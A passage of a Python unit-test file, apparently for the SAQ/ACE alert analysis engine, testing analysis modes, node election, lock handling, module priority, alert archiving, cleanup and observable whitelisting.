TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() engine.wait() self.assertFalse(os.path.isdir(root.storage_dir)) self.assertEquals(log_count('not cleaning up RootAnalysis({}) (found outstanding work)'.format(root.uuid)), 1) def test_local_analysis_mode_single(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(local_analysis_modes=['test_groups'], pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) def test_local_analysis_mode_missing_default(self): saq.CONFIG['service_engine']['default_analysis_mode'] = 'test_single' # when we specify a default analysis mode that is not in the locally supported modes of the engine # it should automatically get added to the list of locally supported modes # we specify test_single as the supported local analysis mode, but the default is test_empty root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine(local_analysis_modes=['test_empty'], pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) #self.assertIsNotNone(analysis) # both test_empty and test_single should be in this list self.assertEquals(len(engine.local_analysis_modes), 2) self.assertTrue('test_single' in engine.local_analysis_modes) self.assertTrue('test_empty' in engine.local_analysis_modes) def test_local_analysis_mode_missing_pool(self): saq.CONFIG['service_engine']['default_analysis_mode'] = 'test_empty' # test_empty is specified as the only supported mode # but we specify a pool for test_single # this is a configuration error engine = TestEngine(local_analysis_modes=['test_empty'], analysis_pools={'test_single': 1}) wait_for_log_count('attempted to add analysis pool for mode test_single which is not supported by this engine', 1, 5) def test_local_analysis_mode_not_local(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') # but we target test_single for this analysis root.analysis_mode = 'test_single' root.save() root.schedule() # we say we only support test_empty analysis modes engine = TestEngine(local_analysis_modes=['test_empty']) engine.enable_module('analysis_module_basic_test', 'test_empty') engine.controlled_stop() engine.start() engine.wait() # this should exit out since the workload entry is for test_single analysis mode # but we don't support that with this engine so it shouldn't see it def test_local_analysis_mode_remote_pickup(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') # but we target test_single for this analysis root.analysis_mode = 'test_single' root.save() root.schedule() # remember the old storage dir old_storage_dir = root.storage_dir # we say we only support test_empty analysis modes engine = TestEngine(local_analysis_modes=['test_empty'], analysis_pools={'test_empty': 1}) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() # this should exist out since we don't support this analysis mode with this engine instance engine.wait() # make sure our stuff is still there self.assertTrue(os.path.exists(old_storage_dir)) # start an api server for this node self.start_api_server() self.reset_config() # now start another engine on a different "node" saq.CONFIG['global']['node'] = 'second_host' saq.set_node('second_host') saq.CONFIG['analysis_mode_test_single']['cleanup'] = 'no' # and this node handles the test_single mode saq.CONFIG['service_engine']['local_analysis_modes'] = 'test_single' saq.CONFIG['service_engine']['analysis_pool_size_test_single'] = '1' engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.start() # since this is remote we can't use the technique where we call controlled_stop and # wait for the queues to empty because only the local queue is checked (which is currently empty) # look for the log to move the work target wait_for_log_count('downloading work target {} from '.format(root.uuid), 1, 5) wait_for_log_count('completed analysis RootAnalysis({})'.format(root.uuid), 1, 5) engine.controlled_stop() engine.wait() # now the old storage directory should be gone self.assertFalse(os.path.exists(old_storage_dir)) # but there should be a new one in the new "node" root = RootAnalysis(storage_dir=storage_dir_from_uuid(root.uuid)) root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) @use_db def test_local_analysis_mode_remote_pickup_invalid_company_id(self, db, c): # TestCase - we've got nothing to do locally but there is work # on a remote server, but that work is assigned to a different company # we do NOT grab that work # first we add a new company c.execute("INSERT INTO company ( name ) VALUES ( 'unittest' )") db.commit() # get the new company_id c.execute("SELECT id FROM company WHERE name = 'unittest'") row = c.fetchone() self.assertIsNotNone(row) other_company_id = row[0] root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') # but we target test_single for this analysis root.analysis_mode = 'test_single' root.company_id = other_company_id root.save() root.schedule() # remember the old storage dir old_storage_dir = root.storage_dir # we say we only support test_empty analysis modes engine = TestEngine(local_analysis_modes=['test_empty'], analysis_pools={'test_empty': 1}) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() # this should exit out since we do not support this analysis mode with this engine engine.wait() # make sure our stuff is still there self.assertTrue(os.path.exists(old_storage_dir)) # start an api server for this node self.start_api_server() self.reset_config() # now start another engine on a different "node" saq.CONFIG['global']['node'] = 'second_host' saq.set_node('second_host') saq.CONFIG['analysis_mode_test_single']['cleanup'] = 'no' # and this node handles the test_single mode saq.CONFIG['service_engine']['local_analysis_modes'] = 'test_single' saq.CONFIG['service_engine']['analysis_pool_size_test_single'] = '1' engine = TestEngine(local_analysis_modes=['test_single'], analysis_pools={'test_single': 1}) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() # we should see the same thing happen since the remote work is assigned to the other company engine.wait() # make sure our stuff is still there self.assertTrue(os.path.exists(old_storage_dir)) @use_db def test_status_update(self, db, c): # start an empty engine and wait for the node update engine = TestEngine() engine.start() wait_for_log_count('updated node', 1, 5) # do we have an entry in the nodes database table? c.execute("SELECT name, location, company_id, last_update FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,)) row = c.fetchone() self.assertIsNotNone(row) self.assertEquals(row[0], saq.SAQ_NODE) self.assertEquals(row[1], saq.API_PREFIX) self.assertEquals(row[2], saq.COMPANY_ID) engine.stop() engine.wait() @use_db def test_node_modes_update(self, db, c): # when an Engine starts up it updates the node_modes database with the list of analysis modes it locally supports # configure to support two modes engine = TestEngine(local_analysis_modes=['test_empty', 'test_single']) engine.controlled_stop() engine.start() engine.wait() # we should have two entries in the node_modes database for the current node_id c.execute("SELECT analysis_mode FROM node_modes WHERE node_id = %s ORDER BY analysis_mode ASC", (saq.SAQ_NODE_ID,)) self.assertEquals(c.fetchone(), ('test_empty',)) self.assertEquals(c.fetchone(), ('test_single',)) # and the any_mode column should be 0 for this node c.execute("SELECT any_mode FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,)) self.assertEquals(c.fetchone(), (0,)) @use_db def test_node_modes_update_any(self, db, c): # when an Engine starts up it updates the node_modes database with the list of analysis modes it locally supports # configure to support two modes engine = TestEngine(local_analysis_modes=[]) engine.controlled_stop() engine.start() engine.wait() # we should have NO entries in the node_modes database for the current node_id c.execute("SELECT analysis_mode FROM node_modes WHERE node_id = %s ORDER BY analysis_mode ASC", (saq.SAQ_NODE_ID,)) self.assertIsNone(c.fetchone()) # and the any_mode column should be 1 for this node c.execute("SELECT any_mode FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,)) self.assertEquals(c.fetchone(), (1,)) @use_db def test_primary_node(self, db, c): # test having a node become the primary node saq.CONFIG['service_engine']['node_status_update_frequency'] = '1' engine = TestEngine() engine.start() wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5) c.execute("SELECT name FROM nodes WHERE id = %s AND is_primary = 1", (saq.SAQ_NODE_ID,)) self.assertIsNotNone(c.fetchone()) engine.stop() engine.wait() @use_db def test_primary_node_contest(self, db, c): # test having a node become the primary node # and then another node NOT becoming a primary node because there already is one engine = TestEngine() engine.start() wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5) c.execute("SELECT name FROM nodes WHERE id = %s AND is_primary = 1", (saq.SAQ_NODE_ID,)) self.assertIsNotNone(c.fetchone()) engine.stop() engine.wait() saq.set_node('another_node') engine = TestEngine() engine.start() wait_for_log_count('node {} is not primary'.format(saq.SAQ_NODE), 1, 5) engine.stop() engine.wait() @use_db def test_primary_node_contest_winning(self, db, c): # test having a node become the primary node # after another node times out engine = TestEngine() engine.start() wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5) c.execute("SELECT name FROM nodes WHERE id = %s AND is_primary = 1", (saq.SAQ_NODE_ID,)) self.assertIsNotNone(c.fetchone()) engine.stop() engine.wait() # update the node to make it look like it last updated a while ago c.execute("UPDATE nodes SET last_update = ADDTIME(last_update, '-1:00:00') WHERE id = %s", (saq.SAQ_NODE_ID,)) db.commit() c.execute("SELECT last_update FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,)) saq.set_node('another_node') engine = TestEngine() engine.start() wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5) engine.stop() engine.wait() @use_db def test_primary_node_clear_locks(self, db, c): target = str(uuid.uuid4()) lock_uuid = str(uuid.uuid4()) self.assertTrue(acquire_lock(target, lock_uuid)) saq.LOCK_TIMEOUT_SECONDS = 0 # test having a node become the primary node # and then clearing out an expired lock engine = TestEngine() engine.start() wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5) wait_for_log_count('removed 1 expired locks', 1, 5) engine.stop() engine.wait() # make sure the lock is gone c.execute("SELECT uuid FROM locks WHERE uuid = %s", (target,)) self.assertIsNone(c.fetchone()) @use_db def test_primary_node_clear_expired_local_nodes(self, db, c): # create a local node and have it expire engine = TestEngine() engine.set_local() engine.controlled_stop() engine.start() engine.stop() c.execute("UPDATE nodes SET last_update = ADDTIME(last_update, '-1:00:00') WHERE id = %s", (saq.SAQ_NODE_ID,)) db.commit() saq.set_node('another_node') engine = TestEngine() engine.start() wait_for_log_count('removed 1 expired local nodes', 1, 5) engine.stop() engine.wait() def test_threaded_analysis_module(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_threaded_test') engine.controlled_stop() engine.start() # we should see this execute at least once wait_for_log_count('threaded execution called', 1, 5) engine.wait() def test_threaded_analysis_module_broken(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() # have this fail after 1 second of waiting saq.EXECUTION_THREAD_LONG_TIMEOUT = 1 engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_threaded_test_broken') engine.start() wait_for_log_count('is not stopping', 1, 6) wait_for_log_count('failing to stop - process dying', 1, 10) engine.stop() engine.wait() def test_engine_worker_recovery(self): # make sure the engine detects dead workers and replaces them root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_worker_death') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.start() # we should see it die wait_for_log_count('detected death of', 1, 5) # and then we should have seen two workers start wait_for_log_count('started worker loop', 2, 5) engine.stop() engine.wait() @use_db def test_engine_exclusive_uuid(self, db, c): exclusive_uuid = str(uuid.uuid4()) root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() root.save() root.schedule(exclusive_uuid) c.execute("SELECT exclusive_uuid FROM workload WHERE uuid = %s", (root.uuid,)) row = c.fetchone() self.assertIsNotNone(row) self.assertEquals(row[0], exclusive_uuid) # this engine should NOT process the work item # since the exclusive_uuid is NOT set engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.start() # we should see this a bunch of times wait_for_log_count('workload.exclusive_uuid IS NULL', 3, 5) self.assertEquals(log_count('queue sizes workload 1 delayed 0'), 0) engine.stop() engine.wait() # this engine should process the work item engine = TestEngine(pool_size_limit=1) engine.exclusive_uuid = exclusive_uuid engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() @use_db def test_clear_outstanding_locks(self, db, c): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() root.add_observable(F_TEST, 'test_never_return') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.initialize() # get the node created # create an arbitrary lock from saq.database import acquire_lock self.assertTrue(acquire_lock(str(uuid.uuid4()), str(uuid.uuid4()), f'{saq.SAQ_NODE}-unittest-12345')) self.assertTrue(acquire_lock(str(uuid.uuid4()), str(uuid.uuid4()), f'some_other_node.local-unittest-12345')) # should have two locks now c.execute("SELECT COUNT(*) FROM locks") self.assertEquals(c.fetchone()[0], 2) db.commit() # initialize the engine again engine = TestEngine(pool_size_limit=1) engine.initialize() # should see a logging message about locks being deleted wait_for_log_count('clearing 1 locks from previous execution', 1, 5) # we should have one lock left, belong to the "other node" c.execute("SELECT lock_owner FROM locks") self.assertEquals(c.fetchone()[0], 'some_other_node.local-unittest-12345') def test_action_counters(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test_action_counter_1') t2 = root.add_observable(F_TEST, 'test_action_counter_2') t3 = root.add_observable(F_TEST, 'test_action_counter_3') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # we have an action count limit of 2, so 2 of these should have analysis and 1 should not root = RootAnalysis(storage_dir=root.storage_dir) root.load() t1 = root.get_observable(t1.id) t2 = root.get_observable(t2.id) t3 = root.get_observable(t3.id) self.assertIsNotNone(t1) self.assertIsNotNone(t2) self.assertIsNotNone(t3) from saq.modules.test import BasicTestAnalysis analysis_count = 0 for t in [ t1, t2, t3 ]: if t.get_analysis(BasicTestAnalysis): analysis_count += 1 self.assertEquals(analysis_count, 2) def test_module_priority(self): root = create_root_analysis() root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_high_priority') engine.enable_module('analysis_module_low_priority') engine.controlled_stop() engine.start() engine.wait() # we should see the high priority execute before the low priority hp_log_entry = search_log('analyzing test(test) with HighPriorityAnalyzer') self.assertEquals(len(hp_log_entry), 1) hp_log_entry = hp_log_entry[0] lp_log_entry = search_log('analyzing test(test) with LowPriorityAnalyzer') self.assertEquals(len(lp_log_entry), 1) lp_log_entry = lp_log_entry[0] self.assertLess(hp_log_entry.created, lp_log_entry.created) # swap the priorities saq.CONFIG['analysis_module_high_priority']['priority'] = '1' saq.CONFIG['analysis_module_low_priority']['priority'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_high_priority') engine.enable_module('analysis_module_low_priority') engine.controlled_stop() engine.start() engine.wait() # we should see the high priority execute before the low priority hp_log_entry = search_log('analyzing test(test) with HighPriorityAnalyzer') self.assertEquals(len(hp_log_entry), 2) hp_log_entry = hp_log_entry[1] lp_log_entry = search_log('analyzing test(test) with LowPriorityAnalyzer') self.assertEquals(len(lp_log_entry), 2) lp_log_entry = lp_log_entry[1] self.assertLess(lp_log_entry.created, hp_log_entry.created) # test a high priority analysis against an analysis without a priority saq.CONFIG['analysis_module_high_priority']['priority'] = '0' del saq.CONFIG['analysis_module_low_priority']['priority'] root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test') root.save() root.schedule() saq.CONFIG['analysis_module_high_priority']['priority'] = '-1' saq.CONFIG['analysis_module_low_priority']['priority'] = '1' engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_high_priority') engine.enable_module('analysis_module_low_priority') engine.enable_module('analysis_module_no_priority') engine.controlled_stop() engine.start() engine.wait() # we should see the high priority execute before the low priority hp_log_entry = search_log('analyzing test(test) with HighPriorityAnalyzer') self.assertEquals(len(hp_log_entry), 3) hp_log_entry = hp_log_entry[2] lp_log_entry = search_log('analyzing test(test) with LowPriorityAnalyzer') self.assertEquals(len(lp_log_entry), 3) lp_log_entry = lp_log_entry[2] np_log_entry = search_log('analyzing test(test) with NoPriorityAnalyzer') self.assertEquals(len(np_log_entry), 1) np_log_entry = np_log_entry[0] self.assertLess(hp_log_entry.created, lp_log_entry.created) self.assertLess(lp_log_entry.created, np_log_entry.created) def test_post_analysis_multi_mode(self): root = create_root_analysis(analysis_mode='test_groups') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(pool_size_limit=1, local_analysis_modes=['test_groups', 'test_single', 'test_empty']) engine.enable_module('analysis_module_post_analysis_multi_mode', ['test_groups', 'test_single', 'test_empty']) engine.controlled_stop() engine.start() engine.wait() # at the end of analysi sin test_groups mode post_analysis will execute and change the mode to test_single # it will happen again and change the mode to test_empty but will return True indicating post analysis has completed # so we should see the "execute_post_analysis called" message twice but not three times self.assertEquals(log_count('execute_post_analysis called'), 2) self.assertEquals(log_count('executing post analysis routines for'), 3) def test_post_analysis_delayed_analysis(self): root = create_root_analysis() root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test_delayed') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_test_post_analysis') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('execute_post_analysis called'), 1) self.assertEquals(log_count('executing post analysis routines for'), 1) def test_alt_workload_move(self): # when an analysis moves into alert (correlation) mode and we are using an alt workload dir # then that analysis should move into the saq.DATA_DIR directory root = create_root_analysis() root.storage_dir = workload_storage_dir(root.uuid) root.initialize_storage() t1 = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_alerting() engine.enable_module('analysis_module_forced_detection', 'test_groups') engine.controlled_stop() engine.start() engine.wait() def test_analysis_reset(self): root = create_root_analysis() root.initialize_storage() o1 = root.add_observable(F_TEST, 'test_add_file') o2 = root.add_observable(F_TEST, 'test_action_counter') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() o1 = root.get_observable(o1.id) self.assertIsNotNone(o1) from saq.modules.test import BasicTestAnalysis analysis = o1.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) # this analysis should have two file observables file_observables = analysis.find_observables(lambda o: o.type == F_FILE) self.assertEquals(len(file_observables), 2) # make sure the files are actually there for _file in file_observables: self.assertTrue(_file.exists) # we should also have a non-empty state self.assertTrue(bool(root.state)) # and we should have some action counters self.assertTrue(bool(root.action_counters)) # reset the analysis root.reset() # the original observable should still be there o1 = root.get_observable(o1.id) self.assertIsNotNone(o1) analysis = o1.get_analysis(BasicTestAnalysis) # but it should NOT have analysis self.assertIsNone(analysis) # and that should be the only observable self.assertEquals(len(root.all_observables), 2) # and those two files should not exist anymore for _file in file_observables: self.assertFalse(os.path.exists(abs_path(_file.value))) def test_analysis_reset_locked(self): from saq.database import acquire_lock, release_lock, LockedException root = create_root_analysis() root.initialize_storage() o1 = root.add_observable(F_TEST, 'test_add_file') o2 = root.add_observable(F_TEST, 'test_action_counter') root.save() root.schedule() # lock the analysis we created lock_uuid = acquire_lock(root.uuid) # now try to reset it with self.assertRaises(LockedException): root = RootAnalysis(storage_dir=root.storage_dir) root.load() root.reset() # unlock the analysis we created release_lock(root.uuid, lock_uuid) # the reset should work this time root = RootAnalysis(storage_dir=root.storage_dir) root.load() root.reset() def test_watched_files(self): # make sure we check every time saq.CONFIG['global']['check_watched_files_frequency'] = '0' engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.start() # the module creates the file we're going to watch, so wait for that to appear watched_file_path = os.path.join(saq.TEMP_DIR, 'watched_file') self.wait_for_condition(lambda : os.path.exists(watched_file_path)) # and then wait for it to start watching it wait_for_log_count(f"watching file {watched_file_path}", 1) # go ahead and modify it with open(watched_file_path, 'w') as fp: fp.write("data has changed") root = create_root_analysis() root.initialize_storage() o1 = root.add_observable(F_TEST, 'test_watched_file') root.save() root.schedule() wait_for_log_count(f"detected change to {watched_file_path}", 1) wait_for_log_count(f"watched_file_modified: {watched_file_path}", 1) engine.controlled_stop() engine.wait() def test_archive(self): from saq.database import Alert root = create_root_analysis(analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_detection') file_path = self.create_test_file(root_analysis=root) root_file_observable = root.add_observable(F_FILE, file_path) test_file_observable = root.add_observable(F_TEST, 'test_add_file') root.save() root.schedule() engine = TestEngine() engine.enable_alerting() engine.enable_module('analysis_module_basic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() alert = saq.db.query(Alert).filter(Alert.uuid==root.uuid).one() saq.db.commit() alert.load() test_observable = alert.get_observable(test_observable.id) self.assertIsNotNone(test_observable) basic_analysis = test_observable.get_analysis('BasicTestAnalysis') self.assertIsNotNone(basic_analysis) self.assertIsNotNone(basic_analysis.details) test_file_observable = alert.get_observable(test_file_observable.id) self.assertIsNotNone(test_file_observable) basic_analysis = test_file_observable.get_analysis('BasicTestAnalysis') self.assertIsNotNone(basic_analysis) self.assertIsNotNone(basic_analysis.details) additional_file_observable = basic_analysis.find_observable(F_FILE) self.assertIsNotNone(additional_file_observable) alert.archive() alert.sync() # need to clear the sqlalchemy identity cache saq.db.close() alert = saq.db.query(Alert).filter(Alert.uuid==root.uuid).one() self.assertTrue(alert.archived) alert.load() test_observable = alert.get_observable(test_observable.id) self.assertIsNotNone(test_observable) basic_analysis = test_observable.get_analysis('BasicTestAnalysis') self.assertIsNotNone(basic_analysis) # the analysis details should be empty self.assertIsNone(basic_analysis.details) # but the summary should be OK self.assertTrue(bool(basic_analysis.summary)) root_file_observable = alert.get_observable(root_file_observable.id) self.assertIsNotNone(root_file_observable) # the file that came with the alert should still be there self.assertTrue(root_file_observable.exists) additional_file_observable = alert.get_observable(additional_file_observable.id) # but the one that was added during analysis should NOT be there self.assertFalse(additional_file_observable.exists) def test_cleanup(self): from saq.constants import DISPOSITION_FALSE_POSITIVE from saq.database import Alert from saq.util.maintenance import cleanup_alerts fp_root = create_root_analysis(analysis_mode='test_single', uuid=str(uuid.uuid4())) fp_root.initialize_storage() test_observable = fp_root.add_observable(F_TEST, 'test_detection') fp_root.save() fp_root.schedule() ignore_root = create_root_analysis(analysis_mode='test_single', uuid=str(uuid.uuid4())) ignore_root.initialize_storage() test_observable = ignore_root.add_observable(F_TEST, 'test_detection') ignore_root.save() ignore_root.schedule() engine = TestEngine() engine.enable_alerting() engine.enable_module('analysis_module_basic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() alert = saq.db.query(Alert).filter(Alert.uuid==fp_root.uuid).one() alert.load() # we'll set the time of the disposition to one day past the configured limit alert.disposition = DISPOSITION_FALSE_POSITIVE alert.disposition_time = datetime.datetime.now() - datetime.timedelta(days=saq.CONFIG['global'].getint('fp_days') + 1) alert.sync() saq.db.remove() alert = saq.db.query(Alert).filter(Alert.uuid==ignore_root.uuid).one() alert.load() # we'll set the time of the disposition to one day past the configured limit alert.disposition = DISPOSITION_IGNORE alert.disposition_time = datetime.datetime.now() - datetime.timedelta(days=saq.CONFIG['global'].getint('ignore_days') + 1) alert.sync() saq.db.remove() # calling cleanup will cause the alert to get archived cleanup_alerts() saq.db.remove() # now this alert should be archived alert = saq.db.query(Alert).filter(Alert.uuid == fp_root.uuid).one() self.assertTrue(alert.archived) # and this alert should be gone self.assertIsNone(saq.db.query(Alert).filter(Alert.uuid == ignore_root.uuid).first()) self.assertFalse(os.path.exists(ignore_root.storage_dir)) def test_analysis_mode_dispositioned(self): from saq.database import Alert, User, Workload, add_workload, set_dispositions root = create_root_analysis(analysis_mode='test_single') root.initialize_storage() observable = root.add_observable(F_TEST, 'test_detection') root.save() root.schedule() engine = TestEngine(pool_size_limit=1, local_analysis_modes=['test_single', ANALYSIS_MODE_CORRELATION]) engine.enable_alerting() engine.enable_module('analysis_module_basic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() # we should have a single alert self.assertEquals(saq.db.query(Alert.id).count(), 1) # and an empty workload self.assertEquals(saq.db.query(Workload.id).count(), 0) # set the disposition of this alert set_dispositions([root.uuid], DISPOSITION_FALSE_POSITIVE, saq.db.query(User).first().id) # check the disposition saq.db.close() self.assertEquals(saq.db.query(Alert).first().disposition, DISPOSITION_FALSE_POSITIVE) # we should have an entry in the workload for this now self.assertEquals(saq.db.query(Workload.id).count(), 1) workload_entry = saq.db.query(Workload).first() self.assertIsNotNone(workload_entry) self.assertEquals(workload_entry.uuid, root.uuid) self.assertEquals(workload_entry.analysis_mode, ANALYSIS_MODE_DISPOSITIONED) # start the engine back up with this mode enabled engine = TestEngine(pool_size_limit=1, local_analysis_modes=[ANALYSIS_MODE_DISPOSITIONED]) engine.controlled_stop() engine.start() engine.wait() # workload should be clear again saq.db.close() self.assertEquals(saq.db.query(Workload.id).count(), 0) # analysis mode should have changed alert = saq.db.query(Alert).filter(Alert.uuid == root.uuid).first() alert.load() self.assertEquals(alert.analysis_mode, ANALYSIS_MODE_DISPOSITIONED) # add another observable and add it back to the workload under correlation mode observable_2 = alert.add_observable(F_TEST, 'test_1') alert.analysis_mode = 'test_single' alert.sync() add_workload(alert) engine = TestEngine(pool_size_limit=1, local_analysis_modes=['test_single', ANALYSIS_MODE_CORRELATION]) engine.enable_module('analysis_module_basic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() # make sure observable_2 got analyzed saq.db.close() alert = saq.db.query(Alert).filter(Alert.uuid == root.uuid).first() alert.load() observable_2 = alert.get_observable(observable_2.id) self.assertIsNotNone(observable_2) analysis = observable_2.get_analysis('BasicTestAnalysis') self.assertIsNotNone(analysis) def test_observable_whitelisting(self): from saq.database import add_observable_tag_mapping, remove_observable_tag_mapping # add a user-defined whitelisting add_observable_tag_mapping(F_TEST, 'test_1', None, 'whitelisted') root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') self.assertTrue(test_observable.has_tag('whitelisted')) root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # we should NOT see any analysis for this observable root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) self.assertEquals(len(test_observable.analysis), 0) # remove the whitelisting remove_observable_tag_mapping(F_TEST, 'test_1', None, 'whitelisted') root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') self.assertFalse(test_observable.has_tag('whitelisted')) root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # we should see any one analysis for this observable root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) self.assertEquals(len(test_observable.analysis), 1) def test_file_observable_whitelisting(self): from saq.database import add_observable_tag_mapping, remove_observable_tag_mapping # add a user-defined whitelisting add_observable_tag_mapping(F_SHA256, '315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3', None, 'whitelisted') root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_file = self.create_test_file(file_content='Hello, world!', root_analysis=root) file_observable = root.add_observable(F_FILE, test_file) self.assertTrue(file_observable.has_tag('whitelisted')) root.save() root.schedule() engine = TestEngine(analysis_pools={'test_single': 1}) engine.enable_module('analysis_module_generic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() # we should NOT see any analysis for this observable root = RootAnalysis(storage_dir=root.storage_dir) root.load() file_observable = root.get_observable(file_observable.id) self.assertIsNotNone(file_observable) self.assertEquals(len(file_observable.analysis), 0) # remove the whitelisting remove_observable_tag_mapping(F_SHA256, '315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3', None, 'whitelisted') root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_file = self.create_test_file(file_content='Hello, world!', root_analysis=root) file_observable = root.add_observable(F_FILE, test_file) self.assertFalse(file_observable.has_tag('whitelisted')) root.save() root.schedule() engine = TestEngine(analysis_pools={'test_single': 1}) engine.enable_module('analysis_module_generic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() # we should NOT see any analysis for this observable root = RootAnalysis(storage_dir=root.storage_dir) root.load() file_observable = root.get_observable(file_observable.id) self.assertIsNotNone(file_observable) from saq.modules.test import GenericTestAnalysis analysis = 